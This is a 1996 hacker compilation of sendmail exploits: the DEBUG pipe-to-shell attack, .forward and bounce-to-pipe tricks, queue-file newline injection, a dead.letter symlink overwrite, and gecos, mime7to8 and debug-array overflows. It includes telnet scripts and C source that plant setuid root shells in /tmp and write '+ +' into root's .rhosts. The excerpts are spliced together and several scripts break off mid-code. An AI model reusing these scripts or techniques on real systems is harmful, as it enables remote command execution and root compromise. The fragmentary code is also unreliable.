Data collected by: Zhart Date: 26/11/96 I wanna say that I don't take any credit for this text, I simply collected and reorganized all the info that was all around on my harddisk (and in my head), just commented some bugs or added something; sometimes I haven't even tested the source codes. I started compiling this list for my own use, then I thought it would be interesting also for other ppl, mainly beginners, or maybe nobody.

'OW' option immediately followed by the encrypted password ] DEBUG = *oLD* = This bug was used by the inet worm by Robert T. Morris Jr. Its exploiting allows anyone to execute any program on a remote machine. It simply consists in giving the 'debug' command, use a pipe to /bin/sh as recipient and feed the data with the commands you want to be executed on the remote machine. [ If sendmail server answers with "200 Debug set" to the 'debug' command there are good chances the bug is still present ] Example : #!/bin/sh telnet << EOF open fucked.host.edu 25 debug mail from: </dev/null> rcpt to: <\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\"> data cp /bin/sh /tmp/sushi # or alternatively: chmod 4755 /tmp/sushi # echo "+ +" >> /.rhosts .

A race condition exists whereby another process may obtain a control-file file descriptor, opened for write access. Sendmail v5, during execution, sets umask(0), which is an insecure mask. In order not to leave open control files with mode 666, sendmail v5 uses chmod(2) to set a secure file mode. However this is a race condition, as we can obtain an open file descriptor for write by opening the control file before the call to chmod(2). IMPACT: Local users can write their own control files, and run programs as any user, bar root.

OVERWRITE FILES = FiXED iN 5.59 = Remote users are able to write to any non-root owned files in the system.

As a result, the sender's group list remains in effect throughout this stage. This is particularly serious when root is sending the mail since a program executed out of a `.forward' file gains interesting privileges like `wheel' and `kmem'. A related hole can be broken down into a "problem" and an "aggravation". The "problem" is that queued local mail no longer has the original recipient's uid associated with it. Control files only store a list of exploded recipients (i.e. users, files and programs) -- one per line -- each prefaced with an `R'. So, after an address resolves to the local machine and has undergone alias and ".forward" expansion, if the letter happens to get queued, on the succeeding queue run sendmail doesnt know who to run the final delivery as. The "aggravation" is that, when doing this final delivery of queued local mail, sendmail will `setuid()' itself to the sender's uid if it is available; in general, the sender's uid will be used when the sender is on the local machine. As a result, a user can run a program as anyone who sends them mail from the local machine. There is also an added "complication"; the default uid and gid are also set to the sender when delivering mail! Since the default uid and gid are only used when calling `setuid()' and `setgid()' (to reset the uid/gid before doing final delivery), these variables should never be set to the sender. |------------------------------ Local compromise ------------------------------| Save the following program as "sploit.c" changing MYUID to your user id. Compile "sploit.c" producing the executable "sploit" in your home directory. Create a ".forward" file containing: \<user>, "|<path>/sploit" [change to your username so you dont lose mail (unless, of course, you'd rather lose mail) and set <path> to your home directory path (where sploit lives)] Now, as another user, send yourself some mail. Note that the sploit program defers delivery the first time thru; check out "/tmp/whoami" to see that sploit ran as you. Now, run your mail queue (or open a beer and wait for sendmail to run it). After the queue run, note that the sploit accepted the letter and returned a successful exit status; check out "/tmp/whoami" again to see that this time, sploit ran as the sender! You can also use "sploit.c" to test for the root initgroups() hole by checking the group list when "sploit" was first called. #include <sys/param.h> #include <sys/types.h> #include <stdio.h> #include <sysexits.h> #include <pwd.h> #include <grp.h> #define MYUID 777 /* your uid (i.e. your ".forward" invokes this) */ #definegetuser(uid)getpwuid(uid)->pw_name/* assume valid uid */ #definegetgrp(gid)getgrgid(gid)->gr_name/* assume valid gid */ main() { FILE *fp; uid_t myuid; int i, rval, ngrps, grplst[NGROUPS]; if ((myuid = getuid()) == MYUID) rval = EX_TEMPFAIL; else rval = EX_OK; if ((fp = fopen("/tmp/whoami", "a")) != NULL) { /* real user/group ids */ fprintf(fp, "%susr:%s grp:%s", (rval == EX_OK)?

The specifics are as follows: * The envelope From: field, or possibly the Errors-To: header (but I've not tested it), must be set to the pipe through a bounce of your mail will be returned. Typically this is executed by uid daemon. * An error must be caused in the message such that sendmail will send a bounce to the From: envelope (or possibly to Errors-To:). These two conditions are all that is necessary to exploit the bug. Typically the simplest thing to pipe to is |/usr/ucb/tail|/usr/bin/sh aka |/usr/ucb/tail|/bin/sh That's for SunOS 4.1.3. Other systems may have tail in /usr/bin or /bin/; the PATH is important in the case. The condition we have used to generate an error is an invalid Return-Receipt-To: header. There are a plethora of other ways to do so, and some of them may depend on the specifics of your sendmail; be forewarned. The last ten lines of your message should contain whatever you wish to do as uid daemon. ---cut here [panix!jhawk] |% telnet panix.com 25 Trying 198.7.0.2 ... Connected to panix.com.

Without going into much detail, -dx.y writes y into the debug array as array[x]=y. Range checking is not performed properly on x, so it's possible to pass negative integers that pass the range check. Find a key location before the debug array, over write it, and you're in business. The problem in trying to create a generic script is that the 'key' locations have different offsets from the debug array for every version of sendmail. Sometimes they're easy to locate if you can get a core, but sometimes it is tough to get a core w/o already being root. Also, sometimes a core tells you nothing. The following script is Sun specific, and patches are now available for all versions of Sun sendmail. The script creates a suid root owned copy of /bin/sh and places it in /tmp. If you're hacking solaris, I'd suggest you choose some program other than /bin/sh. " #!/bin/sh # This script takes advantage of sendmail's (mis)interpretation of # very large unsigned ints as signed ints when accessing the debug # array. As it, it will work with the 8 versions of sun sendmail # that I have access to. Perhaps I'll update it if I find new # versions of sun sendmail. # NOTE: This is a Sun specific script.

This is a re-send; I neglected to escape the "." in the sendmail script, leaving the program slightly truncated. To fix this, I have escaped the . so prior to executing this you must remove the \. (does that make any sense? :-) There was also a small problem with nested quotes pointed out by Peter Wemm which I have fixed. This is the "small version" of the script; it assumes you have a sane sendmail.cf. In this manner, it is not a particularly robust "breakin script" but I believe it does illustrate how to exploit the bug. This program uses "calc.c," the program mentioned by Timothy Newsham in an earlier message. The program has been modified slightly so that it gives better results (it would occasionally fail to locate the offset of a config given a buggy sendmail. The fix is to force a sync() after it generates a coredump.) The remainder of the program was written by myself and a fellow student, Steven Dake. We have held off on releasing this script until we were able to notify the people responsible for system security at NAU.

One of these files (qf<something>) contains information related to the processing of the message (headers, sender, recipient, etc.). Taking versions of sendmail prior to 8.6.10 as an example, one of the pieces of information maintained in this file is the name of the controlling user if mail is being delivered to a script (or file). By feeding sendmail a recipient address that contains newlines, it is possible to add lines to the queue file which specify a controlling user and an executable to run with that users access level. The 8.6.10 patch removes this hole, by stripping newlines from the recipient address before writing the queue file. EXPLOIT: /* smh.c - Michael R.

CuT HeRe ............... What the r00t guys exploit does is just this: * creates a symbolic link to the target file (in this case '.rhosts' in root's directory) called '/tmp/dead.letter'. * Then sends a message (containing lines you want to append) to a non-existent user. * Sendmail is configured (as default) to append lines of non-recipient messages to '/tmp/dead.letter' and does it with root privileges. If '/tmp/dead.letter' is a symbolic link Sendmail will follow it and will overwrite the pre-existent file. * Probably if Sendmail configuration has been changed to make it behave in a different way, looking at the cf file could lead you to exploit the bug the same. 8.7.5 gecos = 8.X.X <8.8.0 = TeSTed oN 8.6.12 This bug was pointed out by Mudge of L0pht on Bugtraq on Sept 1996, excerpts follow: A buffer overflow condition exists that allows a user to overwrite the information in a saved stack frame. When the function returns, the saved frame is popped off of the stack and user code can be executed. If a user is able to alter his/her gecos field then that user can exploit a coding flaw in sendmail to elevate their effective UID to 0. The actual problem in the code is quite apparent. Inside recipient.c we find the following: char nbuf[MAXNAME + 1]; ... buildfname(pw->pw_gecos, pw->pw_name, nbuf); The problem is that nbuf[MAXNAME + 1] is a fixed length buffer and as we will soon see, buildfname() does not honor this. [ ..... ] This particular problem has been fixed in Sendmail 8.8 beta.

Cut Here ................................ mime7to8() = 8.8.0 = An attacker can simply create a very large message in which each line ends with "=" and use it to overwrite the sendmail process's stack. Here the bug is only described... why doesn't someone write an exploit?! There is a serious bug in the mime7to8() function of sendmail 8.8.0 which allows anyone who can send you mail to execute arbitrary code as root on your machine. I think mime7to8() only gets invoked if you set the undocumented "9" mailer flag. However, this flag is set by default in the cf/mailer/local.m4 file that ships with sendmail 8.8.0. Thus, if you are using an old V6 format configuration file from sendmail 8.7, you are probably safe, but if you generated a new V7 configuration file, you are probably vulnerable to this bug. Now here are the technical details: The inner loop of mime7to8() looks like this: u_char *obp; char buf[MAXLINE]; u_char obuf[MAXLINE]; .... /* quoted-printable */ obp = obuf; while (fgets(buf, sizeof buf, e->e_dfp) != NULL) { if (mime_fromqp((u_char *) buf, &obp, 0, MAXLINE) == 0) continue; putline((char *) obuf, mci); obp = obuf; } When mime_fromqp() encounters a line that ends "=\n", it chops those two characters off and returns 0 to indicate a continuation line. This causes the while loop to continue, reading another input line and appending its contents to obuf. However, when the loop continues without resetting obp to obuf, there are fewer than MAXLINE characters left in the output buffer. This means an attacker can simply create a very large message in which each line ends with "=". Eventually obp will move beyond the end of obuf and start writing almost arbitrary data to the sendmail process's stack (as long as no bytes are 0). smtpd = 8.7-8.8.2 = Read the exploit and don't bother: ------------------------------ Cut Here -------------------------------- #/bin/sh # # # Hi ! # This is exploit for sendmail smtpd bug # (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms). # This shell script does a root shell in /tmp directory. # If you have any problems with it, drop me a letter. # Have fun ! # # # ---------------------- # --------------------------------------------- # ----------------- Dedicated to my beautiful lady ------------------ # --------------------------------------------- # ---------------------- # # Leshka Zakharoff, 1996.
